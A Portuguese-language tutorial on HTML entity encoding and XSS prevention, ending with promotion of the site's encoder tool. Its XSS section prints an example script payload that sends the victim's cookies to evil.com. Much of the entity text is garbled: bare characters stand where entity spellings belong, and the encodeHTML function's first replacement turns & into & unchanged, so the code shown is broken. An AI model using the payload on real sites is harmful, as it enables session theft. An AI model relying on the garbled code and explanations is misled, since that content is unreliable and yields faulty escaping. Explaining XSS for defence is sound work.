Guia de Codificação de Entidades HTML: Proteja as Suas Páginas Web

Se alguma vez tentou apresentar uma etiqueta <div> como texto numa página web e viu-a desaparecer no DOM, já conhece o problema. Os navegadores interpretam determinados caracteres como instruções de marcação, não como conteúdo. As entidades HTML são a forma de dizer ao navegador: "apresenta este carácter literalmente, não o interpretes."

Este guia abrange as entidades que realmente irá utilizar, quando a codificação importa e como evitar as vulnerabilidades de segurança que surgem ao omiti-la.

Porquê as Entidades HTML Existem

O HTML utiliza um punhado de caracteres como delimitadores estruturais. Os três principais:

• < abre uma etiqueta
• > fecha uma etiqueta
• & inicia uma referência de entidade

Quando o analisador do navegador encontra <script>, não apresenta o texto — executa JavaScript. Quando encontra ©, renderiza ©. Esta natureza de dupla finalidade significa que, se quiser apresentar estes caracteres como texto visível, precisa de os escapar utilizando entidades HTML.

Uma entidade HTML é uma cadeia que começa com & e termina com ;. Entre esses delimitadores está uma referência com nome (como amp) ou um ponto de código numérico (como #38).

Referência de Entidades HTML Comuns

Eis as entidades que utilizará com mais frequência:

As primeiras cinco são obrigatórias. Se estiver a renderizar conteúdo gerado por utilizadores ou a apresentar código, utilizará &, <, >, " e ' constantemente.

Espaço Sem Quebra: O Subtil

  impede uma quebra de linha entre duas palavras. Não é apenas "um espaço extra" — os navegadores condensam múltiplos espaços regulares num só, mas   é sempre renderizado. Utilize-o para:

• Manter unidades junto aos números: 100 km
• Prevenir palavras órfãs no final de parágrafos
• Formatar preços: € 99,99

Não utilize   para espaçamento de layout. Para isso existem o margin e o padding do CSS.

Entidades Nomeadas vs Numéricas vs Hexadecimais

Há três formas de escrever a mesma entidade:

<!-- Entidade nomeada -->
&amp;

<!-- Entidade numérica decimal -->
&#38;

<!-- Entidade numérica hexadecimal -->
&#x26;

As três produzem o carácter e comercial &. Quando utilizar cada uma:

Entidades nomeadas (&, <, ©) são legíveis e auto-documentadas. Quando alguém lê o código-fonte HTML, & comunica a intenção de imediato. Utilize-as para caracteres comuns.

Entidades numéricas decimais (&, ©) funcionam para qualquer ponto de código Unicode, incluindo caracteres sem referências nomeadas. Utilize-as quando precisar de caracteres sem entidades nomeadas ou ao gerar HTML programaticamente.

Entidades hexadecimais (&, ©) são iguais às decimais mas usam notação hexadecimal. Úteis quando trabalha com tabelas Unicode (que listam pontos de código em hex) ou quando as suas ferramentas produzem valores hex.

Na prática, utilize entidades nomeadas para as comuns e recorra às numéricas para tudo o resto. As entidades nomeadas são suportadas em todos os navegadores e são muito mais fáceis de ler no código-fonte.

Quando Codificar Caracteres HTML

Apresentar Excertos de Código

Se a sua página mostra exemplos de código, cada < e > precisa de codificação:

<!-- Isto parte-se -->
<p>Utilize a etiqueta <div> para contentores.</p>

<!-- Isto funciona -->
<p>Utilize a etiqueta &lt;div&gt; para contentores.</p>

A maioria dos motores de templates e frameworks trata disto automaticamente quando utiliza a sua sintaxe padrão de saída. Mas quando escreve HTML puro ou injeta conteúdo com innerHTML, está por sua conta.

Conteúdo Gerado por Utilizadores

Qualquer conteúdo que venha de utilizadores — campos de formulário, comentários, dados de perfil, consultas de pesquisa — deve ser codificado antes de ser renderizado. Isto é um requisito de segurança, não opcional.

E-mails HTML

Os clientes de e-mail são notoriamente inconsistentes na renderização de caracteres. Codificar caracteres especiais como entidades garante que são apresentados corretamente no Gmail, Outlook, Apple Mail e qualquer outro cliente.

Sistemas de Gestão de Conteúdo

Se está a construir ou a utilizar um CMS, o pipeline de conteúdo deve codificar entidades HTML na fase de saída. O conteúdo armazenado na base de dados pode ser em bruto, mas o que chega ao navegador deve estar escapado.

Prevenção de XSS: Porquê a Codificação É uma Questão de Segurança

Como Funciona o XSS

Considere uma página de pesquisa que apresenta o que o utilizador pesquisou:

<!-- O servidor renderiza isto -->
<p>Pesquisou por: ENTRADA_DO_UTILIZADOR</p>

Se um utilizador introduzir texto normal como javascript tutorials, sem problema. Mas se introduzir:

<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

Sem codificação, o navegador vê uma etiqueta <script> real e executa-a. O atacante obtém os cookies da vítima, tokens de sessão e potencialmente acesso total à conta.

A Solução

Codifique os cinco caracteres críticos antes de inserir quaisquer dados não fidedignos em HTML:

Uma função de codificação mínima:

function encodeHTML(str) {
  return str
    .replace(/&/g, '&')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

Note a ordem: & deve ser substituído primeiro. Se substituir < primeiro (produzindo <) e depois & (transformando < em <), obtém dupla codificação.

Proteção ao Nível da Framework

As frameworks modernas tratam da codificação por defeito:

• React: O JSX escapa automaticamente os valores em expressões {}. dangerouslySetInnerHTML contorna isto — evite-o com conteúdo de utilizador.
• Angular: Os bindings de template são sanitizados automaticamente. [innerHTML] contorna a sanitização.
• Vue: A sintaxe mustache {{ }} escapa automaticamente. v-html não.
• Templates do lado do servidor (EJS, Jinja2, Twig): A maioria escapa por defeito, mas verifique a sua configuração.

O padrão é consistente: o caminho padrão é seguro, e há sempre uma saída para HTML em bruto. Nunca passe entrada de utilizador pela saída.

Codifique HTML com a Nossa Ferramenta

Precisa de codificar ou descodificar entidades HTML rapidamente? A nossa ferramenta Codificador HTML trata disso instantaneamente:

• Cole o seu texto e obtenha a saída codificada num clique
• Suporta todas as entidades nomeadas e numéricas
• Descodifica entidades de volta para texto legível
• Tudo é processado do lado do cliente — os seus dados nunca saem do navegador

É particularmente útil para preparar conteúdo para e-mails HTML, codificar excertos de código para documentação ou sanitizar texto antes de o incorporar em templates.

Erros Comuns a Evitar

Dupla codificação: Passar texto por um codificador duas vezes transforma & em &. Se vir & a aparecer como texto literal na página, houve dupla codificação algures no pipeline.

Codificar dentro de etiquetas <script>: A codificação de entidades HTML não funciona dentro de blocos de script. O analisador JavaScript não entende < — vê-o como a cadeia literal <. Para scripts inline, utilize escape de cadeias JavaScript.

Usar   para espaçamento: Cria problemas de acessibilidade. Os leitores de ecrã podem pronunciar cada espaço sem quebra individualmente. Utilize CSS para espaçamento visual.

Esquecer valores de atributos: A codificação não é só para conteúdo textual. Os valores de atributos também precisam de codificação, especialmente se contêm entrada de utilizador:

<!-- Perigoso -->
<input value="ENTRADA_DO_UTILIZADOR">

<!-- Seguro -->
<input value="&quot;valor&quot; codificado">

Referência Rápida: Árvore de Decisão de Codificação

1. O conteúdo é gerado pelo utilizador? → Codificar sempre
2. Está a apresentar código? → Codificar <, > e &
3. Vai para um atributo HTML? → Codificar também " e '
4. Vai para um URL? → Utilize codificação URL (consulte o nosso Guia de Codificação URL)
5. Vai para JavaScript? → Utilize escape JavaScript, não entidades HTML

Recursos Relacionados

• Codificação Base64 Explicada — compreenda outro formato de codificação essencial para desenvolvimento web
• Guia de Codificação URL — saiba quando e como codificar caracteres em percentagem em URLs
• Ferramenta Codificador HTML — codifique e descodifique entidades HTML instantaneamente no navegador

---

🛠️ Experimente o nosso Codificador HTML para codificar e descodificar entidades HTML diretamente no navegador — sem enviar dados para qualquer servidor.